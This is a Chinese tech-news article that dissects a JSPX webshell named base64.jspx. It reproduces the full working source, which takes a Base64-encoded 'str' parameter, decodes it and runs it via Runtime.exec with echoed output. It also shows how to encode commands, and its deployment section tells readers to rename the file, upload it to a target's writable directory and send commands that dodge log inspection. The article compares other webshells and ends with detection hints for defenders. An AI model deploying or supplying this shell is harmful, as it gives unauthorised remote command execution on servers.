新闻详情

新闻详情

首页 / 资讯中心 / 详情

JSPX 环境下 Base64 编码命令执行 WebShell 深度解析:Ends 版 base64.jspx 的编码原理、源码拆解与实战部署

发布时间:2026/9/24 22:19:31来源:尧图网络
JSPX 环境下 Base64 编码命令执行 WebShell 深度解析:Ends 版 base64.jspx 的编码原理、源码拆解与实战部署
网络安全渗透测试【免费下载链接】webshellThis is a webshell open source project项目地址https://gitcode.com/gh_mirrors/we/webshell点击查看免费下载本文以仓库 jspx/Ends/Readme.md 为线索完整解析其配套源码 jspx/Ends/base64.jspx.txt这是一个基于 JSPXJSP Document语法实现的命令执行 WebShell所有待执行命令必须先做 Base64 编码后通过str参数传入。读完本文你将掌握该 WebShell 的调用方式、Base64 命令编码方法、逐行源码实现原理以及它在仓库同类 JSPX 样本中的定位与对应的检测防御思路。一、核心用法一条参数执行任意命令关联文档 Readme.md 给出的完整调用方式非常简洁只有两行 Demohttp://ends.cc/webshell/base64.jspx?strbase64(cmd) http://ends.cc/webshell/base64.jspx?strd2hvYW1p # d2hvYW1p base64(whoami)其中第二个示例已经给出可实际验证的编码值d2hvYW1p正是字符串whoami的 Base64 编码。也就是说请求参数str参数内容目标命令字符串的 Base64 编码执行结果命令的标准输出逐行回显到响应页面每行以br/结尾部署后对应的请求即等价于在服务器上执行whoami并回显当前操作系统用户。由于命令被 Base64 编码strwhoami这类明文命令特征被抹掉日志中留下的是一串无明显语义的 Base64 字符——这正是该样本的设计意图所在。二、Base64 编码生成从命令到参数d2hvYW1p之所以等于base64(whoami)可以用任意平台工具复现# Linux / macOS echo -n whoami | base64 # 输出: d2hvYW1p# Windows PowerShell [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(whoami))要点有两个echo必须加-n不能带入换行符否则编码结果会多出Cg尾巴编码目标是一整条命令字符串含参数例如whoami /all、ipconfig、ls -la需要先拼成完整字符串再整体编码因为源码内部是把解码后的整串直接交给Runtime.exec()执行的。三、源码逐行拆解base64.jspx 的实现原理仓库中保存的文件名为 jspx/Ends/base64.jspx.txt部署时去掉.txt后缀即为base64.jspx。完整源码如下共 24 行jsp:root xmlns:jsphttp://java.sun.com/JSP/Page xmlnshttp://www.w3.org/1999/xhtml xmlns:chttp://java.sun.com/jsp/jstl/core version2.0 jsp:directive.page contentTypetext/html;charsetUTF-8 pageEncodingUTF-8/ jsp:directive.page importjava.util.*/ jsp:directive.page importjava.io.*/ jsp:directive.page importsun.misc.BASE64Decoder/ jsp:scriptlet![CDATA[ String tmp pageContext.getRequest().getParameter(str); if (tmp ! null!.equals(tmp)) { try{ String str new String((new BASE64Decoder()).decodeBuffer(tmp)); Process p Runtime.getRuntime().exec(str); InputStream in p.getInputStream(); BufferedReader br new BufferedReader(new InputStreamReader(in,GBK)); String brs br.readLine(); while(brs!null){ out.println(brs/br); brs br.readLine(); } }catch(Exception ex){ out.println(ex.toString()); } }]] /jsp:scriptlet /jsp:root1. JSPX 语法外壳与传统的% ... %JSP 不同JSPX 采用 XML 文档JSP Document格式最外层是jsp:root根节点并声明version2.0。这种写法让文件可以附带合法的 XML 声明、在部分只检查“是否含%”或按 XML 解析的上传场景中更易通过也是该样本选择 JSPX 而非 JSP 的直接原因。2. 依赖导入第 2-5 行java.util.*、java.io.*为InputStream、BufferedReader、Runtime等提供支持sun.misc.BASE64DecoderJDK 内部 API 中的 Base64 解码器用于把str参数还原成明文命令。值得注意的兼容性限制sun.misc是 JDK 内部包在 JDK 8 及更早版本中可直接使用从 JDK 9 起模块系统默认不导出内部 APIsun.misc.BASE64Decoder可能触发IllegalAccessError。因此该样本的实际运行环境以 JDK 8 及更早版本的容器Tomcat、WebLogic 等为常见前提这一点可从 import 语句直接推断。3. 参数获取与空值校验第 7-8 行String tmp pageContext.getRequest().getParameter(str); if (tmp ! null !.equals(tmp)) { ... }通过pageContext.getRequest()拿到HttpServletRequest读取str参数参数缺失或为空字符串时直接跳过执行页面返回空白——这既是健壮性处理也起到了一定的“未带正确参数不响应”的隐蔽效果。4. Base64 解码与命令执行第 10-11 行String str new String((new BASE64Decoder()).decodeBuffer(tmp)); Process p Runtime.getRuntime().exec(str);解码后的字符串被直接交给Runtime.getRuntime().exec(str)。注意这里调用的是单参数版本Java 内部会按空白符空格、Tab 等把整条命令拆分为程序名与参数列表因此“命令带多个参数”可以正常工作但遇到引号包裹的复杂路径或需要管道、重定向的语句如cmd /c whoami | findstr x会因缺少 Shell 解释而失效——这是从exec单参数重载的语义可以明确推出的行为边界。5. 输出回显与编码适配第 12-18 行InputStream in p.getInputStream(); BufferedReader br new BufferedReader(new InputStreamReader(in,GBK)); String brs br.readLine(); while(brs!null){ out.println(brs/br); brs br.readLine(); }逐行读取子进程的标准输出每行追加/br后写出形成浏览器可读的回显显式指定GBK字符集读取是针对 Windows 平台cmd默认GBK/GB2312输出编码的适配在纯 Linux 环境下 UTF-8 输出可能被错误解码而出现乱码这是该样本面向 Windows 目标的设计特征。6. 异常处理第 19-21 行}catch(Exception ex){ out.println(ex.toString()); }任何异常解码失败、命令不存在、JDK 内部 API 不可用等都会以ex.toString()形式回显便于调用方在浏览器中直接看到失败原因属于典型的“面向攻击者调试友好”写法。四、部署与调用实操改名部署将 base64.jspx.txt 重命名为base64.jspx后上传到目标 Web 应用可写目录如 Web 根目录下的webshell/编码命令用第二节的方法生成str参数值例如whoami→d2hvYW1p发起请求http://target/webshell/base64.jspx?strd2hvYW1p观察回显响应页面直接输出命令结果如当前用户名多行输出以br/分隔。若请求后返回空白请依次检查文件是否已去掉.txt后缀并编译成功可通过访问是否返回 500 判断、str参数是否拼写正确、目标 JDK 版本是否支持sun.misc.BASE64Decoder。五、仓库内同类 JSPX 样本横向对比Ends/base64.jspx.txt 并非仓库唯一的 JSPX 命令执行样本将其与jspx/目录下其他文件对比可以更清晰地看出“编码免杀”与“功能完整度”之间的取舍样本文件执行参数特征亮点局限Ends/base64.jspx.txtstrBase64 编码命令命令 Base64 化日志无明文命令带 GBK 输出适配与异常回显依赖 JDK 8 及以下内部 APIcmd.jspxi明文命令代码最短仅 6 行无输出回显且明文命令直接落日志jw.jspxi明文命令需pwdsin带密码校验输出包在pre中密码固定写在源码里明文命令paxmac.jspxpaxmac明文命令标准 JSPX XML 文档逐字节输出并waitFor明文命令无鉴权jspx.jspx密码Pwd023功能码A-Q多功能大马文件浏览/下载/上传/复制/目录树、多数据库连接与查询、远程下载、执行命令单文件体积大、功能码多静态特征明显jspspy.jspx密码xxxxxx操作码o完整功能型 Shell文件管理、端口扫描、在线虚拟终端、数据库操作、JAR/ZIP 解压源码 3000 行特征密度极高从这一横向对比可以看出base64.jspx走的是“轻量 编码混淆 输出回显”路线在功能完整度上远不及 jspspy.jspx 这类大马但单文件极小、无内嵌明文命令是其被单独收录并配有独立 Readme 的原因。六、从源码出发的检测与防御思路基于上述源码结构可归纳出可落地的检测特征供防御方参考静态特征同时出现jsp:root、sun.misc.BASE64Decoder、Runtime.getRuntime().exec、getParameter(str)的组合脚本化扫描可对 jspx/jsp 文件提取 import 与 exec 调用做关联告警请求特征对*.jspx接口的str参数值做 Base64 解码后匹配命令关键词whoami、cmd、/bin/sh等日志检索strd2hvYW1p这类“解码后为单命令”的高频短编码运行环境Runtime.exec单参数重载意味着命令不含管道/重定向若检测到请求解码后包含|、等字符却仍成功回显可推断目标可能另接 Shell 包装应联动审计JDK 版本约束目标 JDK 9 上sun.misc.BASE64Decoder默认不可用检测方可把“JDK 8 及以下 jspx 可写目录”作为高危面优先收敛。七、小结jspx/Ends/Readme.md 虽只有寥寥数行但其指向的 base64.jspx.txt 是一个麻雀虽小五脏俱全的样本通过 JSPX XML 语法包装、str参数承载 Base64 编码命令、sun.misc.BASE64Decoder解码、Runtime.exec执行、GBK流式回显构成了一条完整的“编码传输 → 解码执行 → 结果回显”链路。理解这条链路既能掌握此类 JSPX 样本的调用与部署方法也能为同源变体的检测与防御提供直接依据。赞分享网络安全渗透测试【免费下载链接】webshellThis is a webshell open source project项目地址https://gitcode.com/gh_mirrors/we/webshell点击查看免费下载相关推荐SerenityOS base64 命令完全指南编码解码实战与 AK::Base64 底层实现解析SerenityOS base64 命令完全指南编码解码实战与 AK::Base64 底层实现解析 导读 本文以 SerenityOS 系统自带 base64操作系统内核驱动WebShell 免杀实战PHP 版本差异、JSPX CDATA 与 ASPX 编码变形的对抗思路WebShell 免杀实战PHP 版本差异、JSPX CDATA 与 ASPX 编码变形的对抗思路 导读 本文整理自安全社区技术文章《几种实战成功过的webs网络安全渗透测试RouterSploit Perl Base64 编码器encoders/perl/base64原理与实战指南RouterSploit Perl Base64 编码器encoders/perl/base64原理与实战指南 导读 本文围绕 RouterSploit 项网络安全嵌入式上一篇IDM开源激活工具终极指南免费延长试用期的完整解决方案下一篇HelloWord-Keyboard终极固件烧录指南5步解决新手最常见问题创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

宇树G1人形机器人SSH远程调试与MobaXterm配置实战指南 2026/9/25 1:44:55

宇树G1人形机器人SSH远程调试与MobaXterm配置实战指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
CPO系统中SiP级偏振补偿器设计与量产实践 2026/9/25 1:44:55

CPO系统中SiP级偏振补偿器设计与量产实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
AI内容安全:对话系统如何守住合规底线 2026/9/25 1:44:55

AI内容安全:对话系统如何守住合规底线

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
Neo4j 5.26.0 Windows安装配置与数据导入实战 2026/9/25 1:44:55

Neo4j 5.26.0 Windows安装配置与数据导入实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
Rokid Glasses语音应用开发:AIUI全链路集成与调优实战 2026/9/25 1:44:55

Rokid Glasses语音应用开发:AIUI全链路集成与调优实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
基于ROS2的激光雷达与立体相机联合标定:原理、实现与避坑指南 2026/9/25 1:44:48

基于ROS2的激光雷达与立体相机联合标定:原理、实现与避坑指南

简介:基于ROS2的激光雷达与立体相机联合标定系统,是一套面向机器人感知课程的完整项目资源,既可用于毕业设计、课程设计,也适合期末大作业或自学实践,帮助开发者系统理解多传感器融合与空间标定方法。系统结合激光雷达…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞